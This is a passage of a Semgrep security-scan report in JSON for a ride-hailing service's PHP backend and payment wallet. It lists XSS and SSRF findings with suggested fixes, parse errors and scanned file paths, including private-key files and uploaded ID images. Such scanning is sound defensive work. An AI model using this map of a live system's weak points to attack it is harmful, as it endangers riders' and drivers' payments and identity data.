Control"],"references":["https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"impact":"MEDIUM","likelihood":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Server-Side Request Forgery (SSRF)"],"source":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","shortlink":"https://sg.run/Ayqp"},"severity":"WARNING","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php","start":{"line":68,"col":9,"offset":2684},"end":{"line":68,"col":96,"offset":2771},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\"status\" => \"failure\", \"message\" => \"Verification failed: $reason\"]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}},{"check_id":"php.lang.security.injection.echoed-request.echoed-request","path":"walletintaleq.intaleq.xyz/v2/main/ride/mtn_new/verify_payment_ai.php","start":{"line":68,"col":9,"offset":2604},"end":{"line":68,"col":96,"offset":2691},"extra":{"message":"`Echo`ing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.","fix":"echo htmlentities(json_encode([\"status\" => \"failure\", \"message\" => \"Verification failed: $reason\"]));","metadata":{"technology":["php"],"cwe":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"],"owasp":["A07:2017 - Cross-Site Scripting (XSS)","A03:2021 - Injection","A05:2025 - Injection"],"category":"security","references":["https://www.php.net/manual/en/function.htmlentities.php","https://www.php.net/manual/en/reserved.variables.request.php","https://www.php.net/manual/en/reserved.variables.post.php","https://www.php.net/manual/en/reserved.variables.get.php","https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"],"cwe2022-top25":true,"cwe2021-top25":true,"subcategory":["vuln"],"likelihood":"MEDIUM","impact":"MEDIUM","confidence":"MEDIUM","license":"Semgrep Rules License v1.0. For more details, visit semgrep.dev/legal/rules-license","vulnerability_class":["Cross-Site-Scripting (XSS)"],"source":"https://semgrep.dev/r/php.lang.security.injection.echoed-request.echoed-request","shortlink":"https://sg.run/Bqqb"},"severity":"ERROR","fingerprint":"requires login","lines":"requires login","validation_state":"NO_VALIDATOR","engine_kind":"OSS"}}],"errors":[{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"path":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]],"message":"Syntax error at line backend/EgyptDocuments/uploadEgyptIdBack.php:16:\n `'` was unexpected","path":"backend/EgyptDocuments/uploadEgyptIdBack.php","spans":[{"file":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"file":"backend/EgyptDocuments/uploadEgyptIdBack.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"path":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]],"message":"Syntax error at line backend/EgyptDocuments/uploadEgyptidFront.php:16:\n `'` was unexpected","path":"backend/EgyptDocuments/uploadEgyptidFront.php","spans":[{"file":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":24,"offset":0},"end":{"line":16,"col":25,"offset":1}},{"file":"backend/EgyptDocuments/uploadEgyptidFront.php","start":{"line":16,"col":30,"offset":0},"end":{"line":16,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":24,"offset":0},"end":{"line":57,"col":25,"offset":1}},{"path":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":29,"offset":0},"end":{"line":57,"col":30,"offset":1}}]],"message":"Syntax error at line backend/auth/syria/uploadSyrianDocs.php:57:\n `'` was unexpected","path":"backend/auth/syria/uploadSyrianDocs.php","spans":[{"file":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":24,"offset":0},"end":{"line":57,"col":25,"offset":1}},{"file":"backend/auth/syria/uploadSyrianDocs.php","start":{"line":57,"col":29,"offset":0},"end":{"line":57,"col":30,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":24,"offset":0},"end":{"line":19,"col":25,"offset":1}},{"path":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":30,"offset":0},"end":{"line":19,"col":31,"offset":1}}]],"message":"Syntax error at line backend/ride/card-image-driver/add.php:19:\n `'` was unexpected","path":"backend/ride/card-image-driver/add.php","spans":[{"file":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":24,"offset":0},"end":{"line":19,"col":25,"offset":1}},{"file":"backend/ride/card-image-driver/add.php","start":{"line":19,"col":30,"offset":0},"end":{"line":19,"col":31,"offset":1}}]},{"code":3,"level":"warn","type":["PartialParsing",[{"path":"backend/uploadImagePortrate.php","start":{"line":14,"col":28,"offset":0},"end":{"line":14,"col":29,"offset":1}},{"path":"backend/uploadImagePortrate.php","start":{"line":14,"col":34,"offset":0},"end":{"line":14,"col":35,"offset":1}}]],"message":"Syntax error at line backend/uploadImagePortrate.php:14:\n `'` was unexpected","path":"backend/uploadImagePortrate.php","spans":[{"file":"backend/uploadImagePortrate.php","start":{"line":14,"col":28,"offset":0},"end":{"line":14,"col":29,"offset":1}},{"file":"backend/uploadImagePortrate.php","start":{"line":14,"col":34,"offset":0},"end":{"line":14,"col":35,"offset":1}}]}],"paths":{"scanned":["backend/.env.example","backend/.gitignore","backend/Admin/AdminCaptain/add.php","backend/Admin/AdminCaptain/delete.php","backend/Admin/AdminCaptain/get.php","backend/Admin/AdminCaptain/getCaptainDetailsByEmailOrIDOrPhone.php","backend/Admin/AdminCaptain/getCaptainDetailsById.php","backend/Admin/AdminCaptain/getDriversPhonesAndTokens.php","backend/Admin/AdminCaptain/update.php","backend/Admin/AdminRide/get.php","backend/Admin/AdminRide/getRidesPerMonth.php","backend/Admin/Staff/activate.php","backend/Admin/Staff/add.php","backend/Admin/Staff/pending.php","backend/Admin/Staff/setup.php","backend/Admin/adminUser/add.php","backend/Admin/adminUser/add_invoice.php","backend/Admin/adminUser/delete.php","backend/Admin/adminUser/get.php","backend/Admin/adminUser/invoice_images/INV-20250729-224_123.jpg","backend/Admin/adminUser/invoice_images/INV-20250729-592_123.jpg","backend/Admin/adminUser/invoice_images/INV-20250810-859_123.jpg","backend/Admin/adminUser/invoice_total.php","backend/Admin/adminUser/update.php","backend/Admin/auth/approve_admin.php","backend/Admin/auth/list_pending.php","backend/Admin/auth/login.php","backend/Admin/auth/loginWallet.php","backend/Admin/auth/migrate_db.php","backend/Admin/auth/migration_cryptography.php","backend/Admin/auth/register.php","backend/Admin/auth/send_otp_admin.php","backend/Admin/auth/verify_login.php","backend/Admin/auth/verify_otp_admin.php","backend/Admin/dashbord.php","backend/Admin/debug/.htaccess","backend/Admin/debug/check_driver_phones.php","backend/Admin/debug/check_users_cols.php","backend/Admin/debug/debug_phone.php","backend/Admin/debug/env_test.php","backend/Admin/debug/ggg.php","backend/Admin/debug/scratch_db_check.php","backend/Admin/debug/scratch_log_path.php","backend/Admin/debug/scratch_test_find.php","backend/Admin/debug/scratch_test_redis.php","backend/Admin/driver/deleteCaptain.php","backend/Admin/driver/deleteRecord.php","backend/Admin/driver/find_driver_by_phone.php","backend/Admin/driver/getBestDriver.php","backend/Admin/driver/getDriverGiftPayment.php","backend/Admin/driver/remove_from_blacklist.php","backend/Admin/driver/updateDriverFromAdmin.php","backend/Admin/employee/add.php","backend/Admin/employee/get.php","backend/Admin/error/error_list_last20.php","backend/Admin/error/error_search_by_phone.php","backend/Admin/errorApp.php","backend/Admin/facebook.php","backend/Admin/getPassengerDetails.php","backend/Admin/getPassengerDetailsByPassengerID.php","backend/Admin/getPassengerbyEmail.php","backend/Admin/getVisaForEachDriver.php","backend/Admin/ggg.php","backend/Admin/jwtService.php","backend/Admin/passenger/admin_delete_and_blacklist_passenger.php","backend/Admin/passenger/admin_unblacklist.php","backend/Admin/passenger/admin_update_passenger.php","backend/Admin/rides/admin_get_rides_by_phone.php","backend/Admin/rides/admin_update_ride_status.php","backend/Admin/rides/get_driver_live_pos.php","backend/Admin/rides/get_rides_by_status.php","backend/Admin/rides/monitorRide.php","backend/Admin/sendEmailToDrivertransaction.php","backend/Admin/send_whatsapp_message.php","backend/Admin/v2/analytics/driver_ranking.php","backend/Admin/v2/analytics/growth.php","backend/Admin/v2/analytics/revenue.php","backend/Admin/v2/financial/settlements.php","backend/Admin/v2/financial/stats.php","backend/Admin/v2/quality/blacklist_manager.php","backend/Admin/v2/quality/driver_scorecard.php","backend/Admin/v2/realtime_dashboard.php","backend/Admin/v2/security/audit_logs.php","backend/Admin/v2/smart_alerts.php","backend/Admin/view_errors.php","backend/EgyptDocuments/uploadEgyptIdBack.php","backend/EgyptDocuments/uploadEgyptidFront.php","backend/aggregate_files.py","backend/auth/Tester/getTesterApp.php","backend/auth/Tester/updateTesterApp.php","backend/auth/captin/addCriminalDocuments.php","backend/auth/captin/deletecaptainAccounr.php","backend/auth/captin/getAccount.php","backend/auth/captin/getPromptDriverDocumentsEgypt.php","backend/auth/captin/login.php","backend/auth/captin/loginFromGoogle.php","backend/auth/captin/loginUsingCredentialsWithoutGoogle.php","backend/auth/captin/removeAccount.php","backend/auth/captin/updateAccountBank.php","backend/auth/captin/updateDriverClaim.php","backend/auth/captin/updateShamCashDriver.php","backend/auth/checkPhoneNumberISVerfiedDriver.php","backend/auth/checkPhoneNumberISVerfiedPassenger.php","backend/auth/document_syria/ai_document.php","backend/auth/login.php","backend/auth/loginFromGooglePassenger.php","backend/auth/loginUsingCredentialsWithoutGooglePassenger.php","backend/auth/otp/providers.php","backend/auth/otp/request.php","backend/auth/otp/verify.php","backend/auth/packageInfo.php","backend/auth/passengerRemovedAccountEmail.php","backend/auth/save_passenger_location.php","backend/auth/sendEmail.php","backend/auth/sendVerifyEmail.php","backend/auth/signup.php","backend/auth/syria/driver/driver_details.php","backend/auth/syria/driver/drivers_pending_list.php","backend/auth/syria/driver/isPhoneVerified.php","backend/auth/syria/driver/register_driver_and_car.php","backend/auth/syria/driver/register_driver_and_car_signed.php","backend/auth/syria/register_passenger.php","backend/auth/syria/uploadSyrianDocs.php","backend/auth/token_passenger/driver/send_otp_driver.php","backend/auth/token_passenger/driver/verify_otp_driver.php","backend/auth/token_passenger/send_otp.php","backend/auth/token_passenger/verify_otp.php","backend/auth/uploads/documents/driver_driving_license_sy_back_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_driving_license_sy_back_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_driving_license_sy_front_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_driving_license_sy_front_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_generic_unknown.jpg","backend/auth/uploads/documents/driver_id_back_sy_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_id_back_sy_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_id_front_sy_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_id_front_sy_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_back_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_back_eddfdfdgfd.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_front_34feffd3fa72d6bee56b.jpg","backend/auth/uploads/documents/driver_vehicle_license_sy_front_eddfdfdgfd.jpg","backend/auth/verifyEmail.php","backend/card_image/criminalRecord-1b73bad5ed4f147d688e.jpg","backend/card_image/idFrontEmployee-795C0P4Z.jpg","backend/card_image/idFrontEmployee-AYZHXEIE.jpg","backend/card_image/idbackEmployee-795C0P4Z.jpg","backend/card_image/idbackEmployee-AYZHXEIE.jpg","backend/composer.json","backend/composer.lock","backend/connect.php","backend/core/Auth/JwtService.php","backend/core/Auth/RateLimiter.php","backend/core/Database/Database.php","backend/core/Security/EncryptionHelper.php","backend/core/Services/FcmService.php","backend/core/Services/OtpService.php","backend/core/bootstrap.php","backend/core/helpers.php","backend/driver_assurance/add.php","backend/driver_assurance/get.php","backend/driver_assurance/update.php","backend/driver_socket.php","backend/email/sendTripEmail.php","backend/encrypt_decrypt.php","backend/functions.php","backend/get_connect.php","backend/ggg.php","backend/git_push.sh","backend/imageForUsingApp/order_page.jpg","backend/instructions_web/animation.mp4","backend/instructions_web/delete_account.html","backend/instructions_web/logo.gif","backend/instructions_web/logo.png","backend/intaleq_v1.code-workspace","backend/invest_code.php","backend/load_env.php","backend/login.php","backend/loginAdmin.php","backend/loginFirstTime.php","backend/loginFirstTimeDriver.php","backend/loginJwtDriver.php","backend/loginJwtWalletDriver.php","backend/loginWallet.php","backend/logout.php","backend/migrate_driver_passwords.php","backend/migration/get_all_driver_fingerprints.php","backend/migration/get_all_fingerprints.php","backend/migration/update_driver_fingerprint_admin.php","backend/migration/update_fingerprint_admin.php","backend/migration_create_table.php","backend/migration_referral_system.sql","backend/new_driver_car/100221243420413735049.jpg","backend/new_driver_car/100276066669243532075.jpg","backend/new_driver_car/105897591838899631737.jpg","backend/new_driver_car/114243034311436865474.jpg","backend/new_driver_car/mahmoudcici40FGH4MCQC3fd.jpg","backend/passenger_socket.php","backend/privacy_policy.php","backend/privacy_policy1.php","backend/ride/RegisrationCar/add.php","backend/ride/RegisrationCar/delete.php","backend/ride/RegisrationCar/get.php","backend/ride/RegisrationCar/makeDefaultCar.php","backend/ride/RegisrationCar/selectDriverAndCarForMishwariTrip.php","backend/ride/RegisrationCar/update.php","backend/ride/apiKey/add.php","backend/ride/apiKey/delete.php","backend/ride/apiKey/get.php","backend/ride/apiKey/update.php","backend/ride/call/driver/create_call_session.php","backend/ride/call/passenger/create_call_session.php","backend/ride/cancelRide/add.php","backend/ride/cancelRide/addCancelTripFromDriverAfterApplied.php","backend/ride/cancelRide/delete.php","backend/ride/cancelRide/get.php","backend/ride/cancelRide/update.php","backend/ride/carDrivers/add.php","backend/ride/carDrivers/delete.php","backend/ride/carDrivers/get.php","backend/ride/card-image-driver/add.php","backend/ride/card-image-driver/delete.php","backend/ride/card-image-driver/get.php","backend/ride/card-image-driver/update.php","backend/ride/chat/send_message.php","backend/ride/driverWallet/driverStatistic.php","backend/ride/driverWallet/getDriverDetails.php","backend/ride/driverWallet/transfer.php","backend/ride/driver_behavior/get_driver_behavior.php","backend/ride/driver_order/add.php","backend/ride/driver_order/delete.php","backend/ride/driver_order/get.php","backend/ride/driver_order/getOrderCancelStatus.php","backend/ride/driver_order/update.php","backend/ride/driver_scam/add.php","backend/ride/driver_scam/delete.php","backend/ride/driver_scam/get.php","backend/ride/driver_scam/update.php","backend/ride/egyptPhones/add.php","backend/ride/egyptPhones/get.php","backend/ride/egyptPhones/syrianAdd.php","backend/ride/feedBack/add.php","backend/ride/feedBack/add_solve_all.php","backend/ride/feedBack/delete.php","backend/ride/feedBack/get.php","backend/ride/feedBack/update.php","backend/ride/firebase/add.php","backend/ride/firebase/addDriver.php","backend/ride/firebase/addToken.php","backend/ride/firebase/delete.php","backend/ride/firebase/fcm_fun.php","backend/ride/firebase/get.php","backend/ride/firebase/getALlTokenDrivers.php","backend/ride/firebase/getAllTokenPassengers.php","backend/ride/firebase/getDriverToken.php","backend/ride/firebase/getTokenParent.php","backend/ride/firebase/getTokensPassenger.php","backend/ride/firebase/notify_driver_arrival.php","backend/ride/firebase/send_fcm.php","backend/ride/gamification/claimChallengeReward.php","backend/ride/gamification/getDriverBehavior.php","backend/ride/gamification/getGamificationDashboard.php","backend/ride/gamification/getLeaderboard.php","backend/ride/gamification/getReferralStats.php","backend/ride/gamification/getWeeklyAggregate.php","backend/ride/helpCenter/add.php","backend/ride/helpCenter/delete.php","backend/ride/helpCenter/get.php","backend/ride/helpCenter/getById.php","backend/ride/helpCenter/update.php","backend/ride/invitor/add.php","backend/ride/invitor/addInvitationPassenger.php","backend/ride/invitor/add_unified_invite.php","backend/ride/invitor/claim.php","backend/ride/invitor/claim_driver_reward.php","backend/ride/invitor/get.php","backend/ride/invitor/getDriverInvitationToPassengers.php","backend/ride/invitor/get_driver_referrals.php","backend/ride/invitor/get_passenger_referrals.php","backend/ride/invitor/get_unified_code.php","backend/ride/invitor/update.php","backend/ride/invitor/updateDriverInvitationDirectly.php","backend/ride/invitor/updateInvitationCodeFromRegister.php","backend/ride/invitor/updatePassengerGift.php","backend/ride/invitor/updatePassengersInvitation.php","backend/ride/kazan/add.php","backend/ride/kazan/delete.php","backend/ride/kazan/get.php","backend/ride/kazan/update.php","backend/ride/license/add.php","backend/ride/license/delete.php","backend/ride/license/get.php","backend/ride/license/update.php","backend/ride/location/add.php","backend/ride/location/addpassengerLocation.php","backend/ride/location/delete.php","backend/ride/location/driversTime.html","backend/ride/location/get.php","backend/ride/location/getBalash.php","backend/ride/location/getCarsLocationByPassengerVan.php","backend/ride/location/getComfort.php","backend/ride/location/getDelivery.php","backend/ride/location/getDriverCarsLocationToPassengerAfterApplied.php","backend/ride/location/getDriverTimeOnline.php","backend/ride/location/getElectric.php","backend/ride/location/getFemalDriver.php","backend/ride/location/getLatestLocationPassenger.php","backend/ride/location/getLocationParents.php","backend/ride/location/getPinkBike.php","backend/ride/location/getRidesDriverByDay.php","backend/ride/location/getSpeed.php","backend/ride/location/getTotalDriverDuration.php","backend/ride/location/getTotalDriverDurationToday.php","backend/ride/location/getUpdatedLocationForAdmin.php","backend/ride/location/get_location_area_links.php","backend/ride/location/getfemalbehavior.php","backend/ride/location/print.php","backend/ride/location/save_behavior.php","backend/ride/location/update.php","backend/ride/mishwari/add.php","backend/ride/mishwari/cancel.php","backend/ride/mishwari/get.php","backend/ride/mishwari/getDriver.php","backend/ride/mishwari/test.php","backend/ride/notificationCaptain/add.php","backend/ride/notificationCaptain/addWaitingRide.php","backend/ride/notificationCaptain/delete.php","backend/ride/notificationCaptain/deleteAvailableRide.php","backend/ride/notificationCaptain/get.php","backend/ride/notificationCaptain/getRideWaiting.php","backend/ride/notificationCaptain/update.php","backend/ride/notificationCaptain/updateWaitingTrip.php","backend/ride/notificationPassenger/add.php","backend/ride/notificationPassenger/delete.php","backend/ride/notificationPassenger/get.php","backend/ride/notificationPassenger/update.php","backend/ride/overLay/_log.txt","backend/ride/overLay/add.php","backend/ride/overLay/deletArgumets.php","backend/ride/overLay/get.php","backend/ride/overLay/getArgumentAfterAppliedFromBackground.php","backend/ride/places/add.php","backend/ride/places_syria/add.php","backend/ride/places_syria/get.php","backend/ride/places_syria/reverse_geocode.php","backend/ride/pricing/get.php","backend/ride/profile/get.php","backend/ride/profile/getCaptainProfile.php","backend/ride/profile/update.php","backend/ride/profile/updateDriverEmail.php","backend/ride/promo/add.php","backend/ride/promo/delete.php","backend/ride/promo/get.php","backend/ride/promo/getPromoBytody.php","backend/ride/promo/getPromoFirst.php","backend/ride/promo/update.php","backend/ride/rate/add.php","backend/ride/rate/addRateToDriver.php","backend/ride/rate/add_rate_app.php","backend/ride/rate/getDriverRate.php","backend/ride/rate/getPassengerRate.php","backend/ride/rate/sendEmailRateingApp.php","backend/ride/rides/acceptRide.php","backend/ride/rides/add_ride.php","backend/ride/rides/arrive_ride.php","backend/ride/rides/cancelRideFromDriver.php","backend/ride/rides/cancel_ride_by_driver.php","backend/ride/rides/cancel_ride_by_passenger.php","backend/ride/rides/cron_ride_timeout.php","backend/ride/rides/delete.php","backend/ride/rides/emailToPassengerTripDetail.php","backend/ride/rides/finish_ride_updates.php","backend/ride/rides/get.php","backend/ride/rides/getRealTimeHeatmap.php","backend/ride/rides/getRideOrderID.php","backend/ride/rides/getRideOrderIDNew.php","backend/ride/rides/getRideStatus.php","backend/ride/rides/getRideStatusBegin.php","backend/ride/rides/getRideStatusFromStartApp.php","backend/ride/rides/getTripCountByCaptain.php","backend/ride/rides/get_driver_location.php","backend/ride/rides/gterideForDriverManyTime.php","backend/ride/rides/heatmap_live.json","backend/ride/rides/public_track_location.php","backend/ride/rides/retry_search_drivers.php","backend/ride/rides/start_ride.php","backend/ride/rides/test_notification.php","backend/ride/rides/update.php","backend/ride/rides/updateRideAndCheckIfApplied.php","backend/ride/rides/updateStausFromSpeed.php","backend/ride/rides/update_ride_cancel_wait.php","backend/ride/seferWallet/add.php","backend/ride/seferWallet/get.php","backend/ride/tips/add.php","backend/ride/tips/get.php","backend/ride/videos_driver/get.php","backend/schema_primary.sql","backend/schema_ride.sql","backend/schema_tracking.sql","backend/serviceapp/addCartoDriver.php","backend/serviceapp/addNotesDriver.php","backend/serviceapp/addNotesPassenger.php","backend/serviceapp/addWelcomeDriverNote.php","backend/serviceapp/check_db.php","backend/serviceapp/deleteDriverNotCompleteRegistration.php","backend/serviceapp/driverWhoregisterFfterCall.php","backend/serviceapp/drivers_list.txt","backend/serviceapp/editCarPlate.php","backend/serviceapp/getCarPlateNotEdit.php","backend/serviceapp/getComplaintAllData.php","backend/serviceapp/getComplaintAllDataForDriver.php","backend/serviceapp/getDriverByNational.php","backend/serviceapp/getDriverByPhone.php","backend/serviceapp/getDriverDetailsForActivate.php","backend/serviceapp/getDriverNotCompleteRegistration.php","backend/serviceapp/getDriversPhoneNotComplete.php","backend/serviceapp/getDriversWaitingActive.php","backend/serviceapp/getEditorStatsCalls.php","backend/serviceapp/getEmployeeDriverAfterCallingRegister.php","backend/serviceapp/getEmployeeStatic.php","backend/serviceapp/getJsonFile.php","backend/serviceapp/getNewDriverRegister.php","backend/serviceapp/getNotesForEmployee.php","backend/serviceapp/getPackages.php","backend/serviceapp/getPassengersByPhone.php","backend/serviceapp/getPassengersNotCompleteRegistration.php","backend/serviceapp/getPassengersStatic.php","backend/serviceapp/getRidesStatic.php","backend/serviceapp/getdriverWithoutCar.php","backend/serviceapp/getdriverstotalMonthly.php","backend/serviceapp/login.php","backend/serviceapp/register.php","backend/serviceapp/registerDriverAndCarService.php","backend/serviceapp/updateDriver.php","backend/serviceapp/updateDriverToActive.php","backend/serviceapp/updatePackages.php","backend/serviceapp/update_complaint.php","backend/serviceapp/web/drivers.html","backend/serviceapp/web/f.html","backend/serviceapp/web/getDrivers.php","backend/serviceapp/work/addCarWantWork.php","backend/serviceapp/work/addDriverWantWork.php","backend/test_signed_pricing.php","backend/uploadImagePortrate.php","backend/upload_audio.php","backend/webhook_sms/webhook.php","siromove.com/invite.php","siromove.com/inviteSyria.php","socket_intaleq/driver_socket.php","socket_intaleq/passenger_socket.php","walletintaleq.intaleq.xyz/v2/main/connect.php","walletintaleq.intaleq.xyz/v2/main/encrypt_decrypt.php","walletintaleq.intaleq.xyz/v2/main/functions.php","walletintaleq.intaleq.xyz/v2/main/jwtconnect.php","walletintaleq.intaleq.xyz/v2/main/load_env.php","walletintaleq.intaleq.xyz/v2/main/loginWalletAdmin.php","walletintaleq.intaleq.xyz/v2/main/ride/GeminiAi.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/add.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/get.php","walletintaleq.intaleq.xyz/v2/main/ride/apiKey/update.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/check_status.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/cliq_invoices.sql","walletintaleq.intaleq.xyz/v2/main/ride/cliq/cliq_webhook_handler.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/create_cliq_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/query_click_invoice.php","walletintaleq.intaleq.xyz/v2/main/ride/cliq/verify_payment_ai.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/add.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/get.php","walletintaleq.intaleq.xyz/v2/main/ride/driverPayment/update.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add300ToDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addPaymentToken.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s_reward.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/convertBudgetToPoints.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/delete.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/deleteNewDriverGiftCronJob.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/driverStatistic.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/get.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getDriverDetails.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getDriverWeekPaymentMove.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/getWalletByDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/get_s2s_wallet_dashboard.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/promotionDriver.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/sendEmailTransfer.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/transfer.php","walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/update.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/ecash_verify.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/ecash_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/driver/webhook_connect.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/ecash_config.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/logs/ecash_production.log","walletintaleq.intaleq.xyz/v2/main/ride/ecash/logs/payment_verification.log","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/ecash_verify.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/ecash_webhook.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/finalize_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/passenger/webhook_connect.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/payWithEcash.php","walletintaleq.intaleq.xyz/v2/main/ride/ecash/webhook_ecash.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/generate_keys.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/initiate_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/key.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/mtn_start.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/private_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver/public_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/driver_payout_syria.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/confirm_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/finalize_wallet_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/generate_keys.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/initiate_payment.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/key.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_confirm.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/mtn_start.php","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/private_key.pem","walletintaleq.intaleq.xyz/v2/main/ride/mtn/passenger/public_key.pem","walletintaleq.intaleq.xyz/v2